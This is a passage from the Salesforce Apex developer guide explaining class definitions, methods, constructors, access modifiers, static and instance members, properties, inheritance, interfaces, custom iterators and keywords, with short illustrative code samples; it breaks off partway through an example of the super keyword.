To define a class, specify the following:
1. Access modifiers:
• You must use one of the access modifiers (such as public or global) in the declaration of a top-level class.
• You do not have to use an access modifier in the declaration of an inner class.
2. Optional definition modifiers (such as virtual, abstract, and so on)
3. Required: The keyword class followed by the name of the class
4. Optional extensions and/or implementations
Note: Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see
Object Reference for Salesforce and Force.com.
Use the following syntax for defining classes:
private | public | global
[virtual | abstract | with sharing | without sharing]
class ClassName [implements InterfaceNameList] [extends ClassName]
{
// The body of the class
}
• The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default
access for inner classes—that is, if you don't specify an access modifier for an inner class, it is considered private. This keyword
can only be used with inner classes (or with top level test classes marked with the @isTest annotation).
• The public access modifier declares that this class is visible in your application or namespace.
• The global access modifier declares that this class is known by all Apex code everywhere. All classes that contain methods defined
with the webservice keyword must be declared as global. If a method or inner class is declared as global, the outer,
top-level class must also be defined as global.
• The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see
Using the with sharing or without sharing Keywords on page 79.
• The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method with the
override keyword unless the class has been defined as virtual.
• The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature
declared and no body defined.
Note:
• You cannot add an abstract method to a global class after the class has been uploaded in a Managed - Released package
version.
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• If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have
an implementation.
• You cannot override a public or protected virtual method of a global class of an installed managed package.
For more information about managed packages, see What is a Package? on page 609.
A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple
inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Interfaces on page 72.
For more information about method and variable access modifiers, see Access Modifiers on page 60.
SEE ALSO:
Documentation Typographical Conventions
Salesforce Help: Manage Apex Classes
Salesforce Help: Developer Console Functionality
Class Variables
To declare a variable, specify the following:
• Optional: Modifiers, such as public or final, as well as static.
• Required: The data type of the variable, such as String or Boolean.
• Required: The name of the variable.
• Optional: The value of the variable.
Use the following syntax when defining a variable:
[public | private | protected | global] [final] [static] data_type variable_name
[= value]
For example:
private static final Integer MY_INT;
private final Integer i = 1;
Class Methods
To define a method, specify the following:
• Optional: Modifiers, such as public or protected.
• Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not return a
value.
• Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses
(). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
• Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is
contained here.
Use the following syntax when defining a method:
[public | private | protected | global] [override] [static] data_type method_name
(input parameters)
{
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// The body of the method
}
Note: You can use override to override methods only in classes that have been defined as virtual or abstract.
For example:
public static Integer getInt() {
return MY_INT;
}
As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable.
User-defined methods:
• Can be used anywhere that system methods are used.
• Can be recursive.
• Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex DML Statements on page 617.
• Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so
forward declarations are not needed.
• Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer parameter
and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects
the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks an approximate match using type
coercion rules. For more information on data conversion, see Rules of Conversion on page 47.
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.
• When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure statements
in Apex code. For example:
System.debug('Here is a note for the log.');
• Can have statements where the return values are run as a statement if their results are not assigned to another variable. This rule is
the same in Java.
Passing Method Arguments by Value
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are passed into methods by reference. This means that when the method returns,
the passed-in argument still references the same object as before the method call and can't be changed to point to another object.
However, the values of the object's fields can be changed in the method.
The following are examples of passing primitive and non-primitive data type arguments into methods.
Example: Passing Primitive Data Type Arguments
This example shows how a primitive argument of type String is passed by value into another method. The debugStatusMessage
method in this example creates a String variable, msg, and assigns it a value. It then passes this variable as an argument to another
method, which modifies the value of this String. However, since String is a primitive type, it is passed by value, and when the method
returns, the value of the original variable, msg, is unchanged. An assert statement verifies that the value of msg is still the old value.
public class PassPrimitiveTypeExample {
public static void debugStatusMessage() {
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String msg = 'Original value';
processString(msg);
// The value of the msg variable didn't
// change; it is still the old value.
System.assertEquals(msg, 'Original value');
}
public static void processString(String s) {
s = 'Modified value';
}
}
Example: Passing Non-Primitive Data Type Arguments
This example shows how a List argument is passed by value into another method and can be modified. It also shows that the List
argument can’t be modified to point to another List object. First, the createTemperatureHistory method creates a variable,
fillMe, that is a List of Integers and passes it to a method. The called method fills this list with Integer values representing rounded
temperature values. When the method returns, an assert verifies that the contents of the original List variable has changed and now
contains five values. Next, the example creates a second List variable, createMe, and passes it to another method. The called method
assigns the passed-in argument to a newly created List that contains new Integer values. When the method returns, the original
createMe variable doesn’t point to the new List but still points to the original List, which is empty. An assert verifies that createMe
contains no values.
public class PassNonPrimitiveTypeExample {
public static void createTemperatureHistory() {
List<Integer> fillMe = new List<Integer>();
reference(fillMe);
// The list is modified and contains five items
// as expected.
System.assertEquals(fillMe.size(),5);
List<Integer> createMe = new List<Integer>();
referenceNew(createMe);
// The list is not modified because it still points
// to the original list, not the new list
// that the method created.
System.assertEquals(createMe.size(),0);
}
public static void reference(List<Integer> m) {
// Add rounded temperatures for the last five days.
m.add(70);
m.add(68);
m.add(75);
m.add(80);
m.add(82);
}
public static void referenceNew(List<Integer> m) {
// Assign argument to a new List of
// five temperature values.
m = new List<Integer>{55, 59, 62, 60, 63};
}
}
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Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every
class. If a class does not have a user-defined constructor, a default, no-argument, public constructor is used.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and
it is not inherited by the object created from it.
After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that
constructor. For example, using the following class:
public class TestObject {
// The no argument constructor
public TestObject() {
// more code here
}
}
A new object of this type can be instantiated with the following code:
TestObject myTest = new TestObject();
If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments.
If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must create your own
no-argument constructor in your code. Once you create a constructor for a class, you no longer have access to the default, no-argument
public constructor.
In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters.
The following example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument.
It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 {
private static final Integer DEFAULT_SIZE = 10;
Integer size;
//Constructor with no arguments
public TestObject2() {
this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor
}
// Constructor with one argument
public TestObject2(Integer ObjectSize) {
size = ObjectSize;
}
}
New objects of this type can be instantiated with the following code:
TestObject2 myObject1 = new TestObject2(42);
TestObject2 myObject2 = new TestObject2();
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Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are
possible:
public class Leads {
// First a no-argument constructor
public Leads () {}
// A constructor with one argument
public Leads (Boolean call) {}
// A constructor with two arguments
public Leads (String email, Boolean call) {}
// Though this constructor has the same arguments as the
// one above, they are in a different order, so this is legal
public Leads (Boolean call, String email) {}
}
When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names,
such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that
class or subclass.
Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables.
While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example,
declaring a method as global in an anonymous block does not enable you to call it from outside of that code.
For more information on class access modifiers, see Apex Class Definition on page 55.
Note: Interface methods have no access modifiers. They are always global. For more information, see Interfaces on page 72.
By default, a method or variable is visible only to the Apex code within the defining class. You must explicitly specify a method or variable
as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the
level of visibility by using the following access modifiers:
private
This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do
not specify an access modifier, the method or variable is private.
protected
This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the
defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more
permissive than the default (private) setting, just like Java.
public
This means the method or variable can be used by any Apex in this application or namespace.
Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications,
to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to
use the global access modifier.
global
This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same
application. This access modifier should be used for any method that needs to be referenced outside of the application, either in
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the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains
it as global.
Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to
maintain.
To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration
For example:
// private variable s1
private string s1 = '1';
// public method getsz()
public string getsz() {
...
}
Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can’t be static. You can also have instance
methods, member variables, and initialization code, which have no modifier, and local variables.
Characteristics
Static methods, variables, and initialization code have these characteristics.
• They’re associated with a class.
• They’re allowed only in outer classes.
• They’re initialized only when a class is loaded.
• They aren’t transmitted as part of the view state for a Visualforce page.
Instance methods, member variables, and initialization code have these characteristics.
• They’re associated with a particular object.
• They have no definition modifier.
• They’re created with every object instantiated from the class in which they’re declared.
Local variables have these characteristics.
• They’re associated with the block of code in which they’re declared.
• They must be initialized before they’re used.
The following example shows a local variable whose scope is the duration of the if code block.
Boolean myCondition = true;
if (myCondition) {
integer localVariable = 10;
}
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Using Static Methods and Variables
You can use static methods and variables only with outer classes. Inner classes have no static methods or variables. A static method or
variable doesn’t require an instance of the class in order to run.
Before an object of a class is created, all static member variables in a class are initialized, and all static initialization code blocks are
executed. These items are handled in the order in which they appear in the class.
A static method is used as a utility method, and it never depends on the value of an instance member variable. Because a static method
is only associated with a class, it can’t access the instance member variable values of its class.
A static variable is static only within the scope of the Apex transaction. It’s not static across the server or the entire organization. The
value of a static variable persists within the context of a single transaction and is reset across transaction boundaries. For example, if an
Apex DML request causes a trigger to fire multiple times, the static variables persist across these trigger invocations.
To store information that is shared across instances of a class, use a static variable. All instances of the same class share a single copy of
the static variable. For example, all triggers that a single transaction spawns can communicate with each other by viewing and updating
static variables in a related class. A recursive trigger can use the value of a class variable to determine when to exit the recursion.
Suppose that you had the following class.
public class P {
public static boolean firstRun = true;
}
A trigger that uses this class could then selectively fail the first run of the trigger.
trigger T1 on Account (before delete, after delete, after undelete) {
if(Trigger.isBefore){
if(Trigger.isDelete){
if(p.firstRun){
Trigger.old[0].addError('Before Account Delete Error');
p.firstRun=false;
}
}
}
}
A static variable defined in a trigger doesn’t retain its value between different trigger contexts within the same transaction, such as
between before insert and after insert invocations. Instead, define the static variables in a class so that the trigger can access these class
member variables and check their static values.
A class static variable can’t be accessed through an instance of that class. If class MyClass has a static variable myStaticVariable,
and myClassInstance is an instance of MyClass, myClassInstance.myStaticVariable is not a legal expression.
The same is true for instance methods. If myStaticMethod() is a static method, myClassInstance.myStaticMethod()
is not legal. Instead, refer to those static identifiers using the class: MyClass.myStaticVariable and
MyClass.myStaticMethod().
Local variable names are evaluated before class names. If a local variable has the same name as a class, the local variable hides methods
and variables on the class of the same name. For example, this method works if you comment out the String line. But if the String
line is included the method doesn’t compile, because Salesforce reports that the method doesn’t exist or has an incorrect signature.
public static void method() {
String Database = '';
Database.insert(new Account());
}
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An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance member
variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
Note: In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to
process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk
API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger
invocations for the same HTTP request.
Using Instance Methods and Variables
Instance methods and member variables are used by an instance of a class, that is, by an object. An instance member variable is declared
inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method.
Suppose that you want to have a class that collects two-dimensional points and plots them on a graph. The following skeleton class
uses member variables to hold the list of points and an inner class to manage the two-dimensional list of points.
public class Plotter {
// This inner class manages the points
class Point {
Double x;
Double y;
Point(Double x, Double y) {
this.x = x;
this.y = y;
}
Double getXCoordinate() {
return x;
}
Double getYCoordinate() {
return y;
}
}
List<Point> points = new List<Point>();
public void plot(Double x, Double y) {
points.add(new Point(x, y));
}
// The following method takes the list of points and does something with them
public void render() {
}
}
Using Initialization Code
Instance initialization code is a block of code in the following form that is defined in a class.
{
//code body
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}
The instance initialization code in a class is executed each time an object is instantiated from that class. These code blocks run before
the constructor.
If you don’t want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables.
In simple situations, use an ordinary initializer. Reserve initialization code for complex situations, such as initializing a static map. A static
initialization block runs only once, regardless of how many times you access the class that contains it.
Static initialization code is a block of code preceded with the keyword static.
static {
//code body
}
Similar to other static code, a static initialization code block is only initialized once on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code
blocks are executed in the order in which they appear in the file, just as they are in Java.
You can use static initialization code to initialize static final variables and to declare information that is static, such as a map of values.
For example:
public class MyClass {
class RGB {
Integer red;
Integer green;
Integer blue;
RGB(Integer red, Integer green, Integer blue) {
this.red = red;
this.green = green;
this.blue = blue;
}
}
static Map<String, RGB> colorMap = new Map<String, RGB>();
static {
colorMap.put('red', new RGB(255, 0, 0));
colorMap.put('cyan', new RGB(0, 255, 255));
colorMap.put('magenta', new RGB(255, 0, 255));
}
}
Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your code to a property value before it is accessed or
returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action
when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other
source, such as another class.
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Property definitions include one or two code blocks, representing a get accessor and a set accessor:
• The code in a get accessor executes when the property is read.
• The code in a set accessor executes when the property is assigned a new value.
A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A property with
both accessors is read-write.
To declare a property, use the following syntax in the body of a class:
Public class BasicClass {
// Property declaration
access_modifier return_type property_name {
get {
//Get accessor code block
}
set {
//Set accessor code block
}
}
}
Where:
• access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include:
public, private, global, and protected. In addition, these definition modifiers can be applied: static and
transient. For more information on access modifiers, see Access Modifiers on page 60.
• return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data Types on
page 26.
• property_name is the name of the property
For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty {
public integer prop {
get { return prop; }
set { prop = value; }
}
}
The following code segment calls the class above, exercising the get and set accessors:
BasicProperty bp = new BasicProperty();
bp.prop = 5;
// Calls set accessor
System.assert(bp.prop == 5);
// Calls get accessor
Note the following:
• The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is
the same as reading the value of the variable.
• The get accessor must end in a return statement.
• We recommend that your get accessor should not change the state of the object that it is defined on.
• The set accessor is similar to a method whose return type is void.
• When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.
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• When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the
property.
• Properties cannot be defined on interface.
• Apex properties are based on their counterparts in C#, with the following differences:
– Properties provide storage for values directly. You do not need to create supporting members for storing values.
– It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 66.
Using Automatic Properties
Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks
empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain.
They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:
public class AutomaticProperty {
public integer MyReadOnlyProp { get; }
public double MyReadWriteProp { get; set; }
public string MyWriteOnlyProp { set; }
}
The following code segment exercises these properties:
AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5;
// This produces a compile error: not writable
ap.MyReadWriteProp = 5;
// No error
System.assert(MyWriteOnlyProp == 5);
// This produces a compile error: not readable
Using Static Properties
When a property is declared as static, the property's accessor methods execute in a static context. This means that the accessors do
not have access to non-static member variables defined in the class. The following example creates a class with both static and instance
properties:
public class StaticProperty {
public static integer StaticMember;
public integer NonStaticMember;
public static integer MyGoodStaticProp {
get{return MyGoodStaticProp;}
}
// The following produces a system error
// public static integer MyBadStaticProp { return NonStaticMember; }
public integer MyGoodNonStaticProp {
get{return NonStaticMember;}
}
}
The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;
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// The following does not produce an error
StaticProperty.MyGoodStaticProp = 5;
Using Access Modifiers on Property Accessors
Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides
the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on
the property itself. For example, if the property has been defined as public, the individual accessor cannot be defined as global.
The following class definition shows additional examples:
global virtual class PropertyVisibility {
// X is private for read and public for write
public integer X { private get; set; }
// Y can be globally read but only written within a class
global integer Y { get; public set; }
// Z can be read within the class but only subclasses can set it
public integer Z { get; protected set; }
}
Extending a Class
You can extend a class to provide more specialized behavior.
A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can
override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you
to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on
the object you’re calling it on. This is referred to as polymorphism.
A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can
implement more than one interface.
This example shows how the YellowMarker class extends the Marker class. To run the inheritance examples in this section, first
create the Marker class.
public virtual class Marker {
public virtual void write() {
System.debug('Writing some text.');
}
public virtual Double discount() {
return .05;
}
}
Then create the YellowMarker class, which extends the Marker class.
// Extension for the Marker class
public class YellowMarker extends Marker {
public override void write() {
System.debug('Writing some text using the yellow marker.');
}
}
This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects
are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields
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a different result than calling this method on the first object, because this method has been overridden. However, you can call the
discount method on the second object even though this method isn’t part of the YellowMarker class definition. But it is part
of the extended class, and hence, is available to the extending class, YellowMarker. Run this snippet in the Execute Anonymous
window of the Developer Console.
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();
obj2 = new YellowMarker();
// This outputs 'Writing some text using the yellow marker.'
obj2.write();
// We get the discount method for free
// and can call it from the YellowMarker instance.
Double d = obj2.discount();
The extending class can have more method definitions that aren’t common with the original extended class. For example, the
RedMarker class below extends the Marker class and has one extra method, computePrice, that isn’t available for the
Marker class. To call the extra methods, the object type must be the extending class.
Before running the next snippet, create the RedMarker class, which requires the Marker class in your org.
// Extension for the Marker class
public class RedMarker extends Marker {
public override void write() {
System.debug('Writing some text in red.');
}
// Method only in this class
public Double computePrice() {
return 1.5;
}
}
This snippet shows how to call the additional method on the RedMarker class. Run this snippet in the Execute Anonymous window
of the Developer Console.
RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();
Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends another
interface, all the methods and properties of the extended interface are available to the extending interface.
Extended Class Example
The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the
example are explained in more detail throughout this chapter.
// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {
// Static final variable (constant) – outer class level only
private static final Integer MY_INT;
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// Non-final static variable - use this to communicate state across triggers
// within a single request)
public static String sharedState;
// Static method - outer class level only
public static Integer getInt() { return MY_INT; }
// Static initialization (can be included where the variable is defined)
static {
MY_INT = 2;
}
// Member variable for outer class
private final String m;
// Instance initialization block - can be done where the variable is declared,
// or in a constructor
{
m = 'a';
}
// Because no constructor is explicitly defined in this outer class, an implicit,
// no-argument, public constructor exists
// Inner interface
public virtual interface MyInterface {
// No access modifier is necessary for interface methods - these are always
// public or global depending on the interface visibility
void myMethod();
}
// Interface extension
interface MySecondInterface extends MyInterface {
Integer method2(Integer i);
}
// Inner class - because it is virtual it can be extended.
// This class implements an interface that, in turn, extends another interface.
// Consequently the class must implement all methods.
public virtual class InnerClass implements MySecondInterface {
// Inner member variables
private final String s;
private final String s2;
// Inner instance initialization block (this code could be located above)
{
this.s = 'x';
}
// Inline initialization (happens after the block above executes)
private final Integer i = s.length();
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// Explicit no argument constructor
InnerClass() {
// This invokes another constructor that is defined later
this('none');
}
// Constructor that assigns a final variable value
public InnerClass(String s2) {
this.s2 = s2;
}
// Instance method that implements a method from MyInterface.
// Because it is declared virtual it can be overridden by a subclass.
public virtual void myMethod() { /* does nothing */ }
// Implementation of the second interface method above.
// This method references member variables (with and without the "this" prefix)
public Integer method2(Integer i) { return this.i + s.length(); }
}
// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {
// Override the parent class method with this signature.
// Must use the override keyword
public override void myMethod() { /* do something else */ }
// Same name as parent class method, but different signature.
// This is a different method (displaying polymorphism) so it does not need
// to use the override keyword
protected void method2() {}
// Abstract method - subclasses of this class must implement this method
abstract Integer abstractMethod();
}
// Complete the abstract class by implementing its abstract method
public class ConcreteChildClass extends AbstractChildClass {
// Here we expand the visibility of the parent method - note that visibility
// cannot be restricted by a sub-class
public override Integer abstractMethod() { return 5; }
}
// A second sub-class of the original InnerClass
public class AnotherChildClass extends InnerClass {
AnotherChildClass(String s) {
// Explicitly invoke a different super constructor than one with no arguments
super(s);
}
}
// Exception inner class
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public virtual class MyException extends Exception {
// Exception class member variable
public Double d;
// Exception class constructor
MyException(Double d) {
this.d = d;
}
// Exception class method, marked as protected
protected void doIt() {}
}
// Exception classes can be abstract and implement interfaces
public abstract class MySecondException extends Exception implements MyInterface {
}
}
This code example illustrates:
• A top-level class definition (also called an outer class)
• Static variables and static methods in the top-level class, as well as static initialization code blocks
• Member variables and methods for the top-level class
• Classes with no user-defined constructor — these have an implicit, no-argument constructor
• An interface definition in the top-level class
• An interface that extends another interface
• Inner class definitions (one level deep) within a top-level class
• A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method
signatures
• An inner class constructor definition and invocation
• An inner class member variable and a reference to it using the this keyword (with no arguments)
• An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor
• Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly braces
({}). Note that these execute with every construction in the order they appear in the file, as with Java.
• Class extension and an abstract class
• Methods that override base class methods (which must be declared virtual)
• The override keyword for methods that override subclass methods
• Abstract methods and their implementation by concrete sub-classes
• The protected access modifier
• Exceptions as first class objects with members, methods, and constructors
This example shows how the class above can be called by other Apex code:
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');
// Call user-defined methods in the class
System.assertEquals(2, ic.method2(1));
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// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;
// Use instanceof and casting as usual
OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
(OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);
// Construct the outer type
OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());
// Construct instances of abstract class children
System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());
// Illegal - cannot construct an abstract class
// new OuterClass.AbstractChildClass();
// Illegal – cannot access a static method through an instance
// o.getInt();
// Illegal - cannot call protected method externally
// new OuterClass.ConcreteChildClass().method2();
This code example illustrates:
• Construction of the outer class
• Construction of an inner class and the declaration of an inner interface type
• A variable declared as an interface type can be assigned an instance of a class that implements that interface
• Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator)
Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration
for that method. This way you can have different implementations of a method based on your specific application.
Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that
come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method
to provide a discount. The amount of the discount can depend on the type of purchase order.
You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees.
In the following example the focus is only on the discount aspect of a purchase order.
This is the definition of the PurchaseOrder interface.
// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
// All other functionality excluded
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Double discount();
}
This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
public Double discount() {
return .05; // Flat 5% discount
}
}
This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
public Double discount() {
return .10; // It’s worth it being an employee! 10% discount
}
}
Note the following about the above example:
• The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers
and contain just their signature.
• The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount
method. As with Java, any class that implements an interface must define all of the methods contained in the interface.
When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another
data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that
implements the interface, or a sub-interface data type.
See also Classes and Casting on page 95.
Note: You cannot add a method to a global interface after the class has been uploaded in a Managed - Released package version.
IN THIS SECTION:
1. Custom Iterators
Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the
loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented
by 1 every time the loop is executed (count++) :
while (count < 11) {
System.debug(count);
count++;
}
Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data
that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can also
be used if you have multiple SELECT statements.
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Using Custom Iterators
To use custom iterators, you must create an Apex class that implements the Iterator interface.
The Iterator interface has the following instance methods:
Name
Arguments
Returns
Description
hasNext
Boolean
Returns true if there is another item in the collection being
traversed, false otherwise.
next
Any type
Returns the next item in the collection.
All methods in the Iterator interface must be declared as global or public.
You can only use a custom iterator in a while loop. For example:
IterableString x = new IterableString('This is a really cool test.');
while(x.hasNext()){
system.debug(x.next());
}
Iterators are not currently supported in for loops.
Using Custom Iterators with Iterable
If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable
interface to generate the data structure.
The Iterable interface has the following method:
Name
Arguments
iterator
Returns
Description
Iterator class
Returns a reference to the iterator for this interface.
The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to
traverse the data structure.
In the following example a custom iterator iterates through a collection:
global class CustomIterable
implements Iterator<Account>{
List<Account> accs {get; set;}
Integer i {get; set;}
public CustomIterable(){
accs =
[SELECT Id, Name,
NumberOfEmployees
FROM Account
WHERE Name = 'false'];
i = 0;
}
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global boolean hasNext(){
if(i >= accs.size()) {
return false;
} else {
return true;
}
}
global Account next(){
// 8 is an arbitrary
// constant in this example
// that represents the
// maximum size of the list.
if(i == 8){return null;}
i++;
return accs[i-1];
}
}
The following calls the above code:
global class foo implements iterable<Account>{
global Iterator<Account> Iterator(){
return new CustomIterable();
}
}
The following is a batch job that uses an iterator:
global class batchClass implements Database.batchable<Account>{
global Iterable<Account> start(Database.batchableContext info){
return new foo();
}
global void execute(Database.batchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 69;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.batchableContext info){
}
}
Keywords
Apex provides the keywords final, instanceof, super, this, transient, with sharing and without sharing.
IN THIS SECTION:
1. Using the final Keyword
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2. Using the instanceof Keyword
3. Using the super Keyword
4. Using the this Keyword
5. Using the transient Keyword
6. Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
Using the final Keyword
You can use the final keyword to modify variables.
• Final variables can only be assigned a value once, either when you declare a variable or inside a constructor. You must assign a value
to it in one of these two places.
• Static final variables can be changed in static initialization code or where defined.
• Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations.
• To define a constant, mark a variable as both static and final.
• Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not
shared across requests.
• Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This means
they cannot be overridden. Use the virtual keyword if you need to override a method or class.
Using the instanceof Keyword
If you need to verify at run time whether an object is actually an instance of a particular class, use the instanceof keyword. The
instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative
for the declared type of the expression on the left.
You could add the following check to the Report class in the classes and casting example before you cast the item back into a
CustomReport object.
If (Reports.get(0) instanceof CustomReport) {
// Can safely cast it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
} Else {
// Do something with the non-custom-report.
}
Note: In Apex saved with API version 32.0 and later, instanceof returns false if the left operand is a null object. For
example, the following sample returns false.
Object o = null;
Boolean result = o instanceof Account;
System.assertEquals(false, result);
In API version 31.0 and earlier, instanceof returns true in this case.
Using the super Keyword
The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override
constructors and methods from the parent class.
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For example, if you have the following virtual class:
public virtual class SuperClass {
public String mySalutation;
public String myFirstName;
public String myLastName;
public SuperClass() {
mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}
public SuperClass(String salutation, String firstName, String lastName) {
mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}
public virtual void printName() {
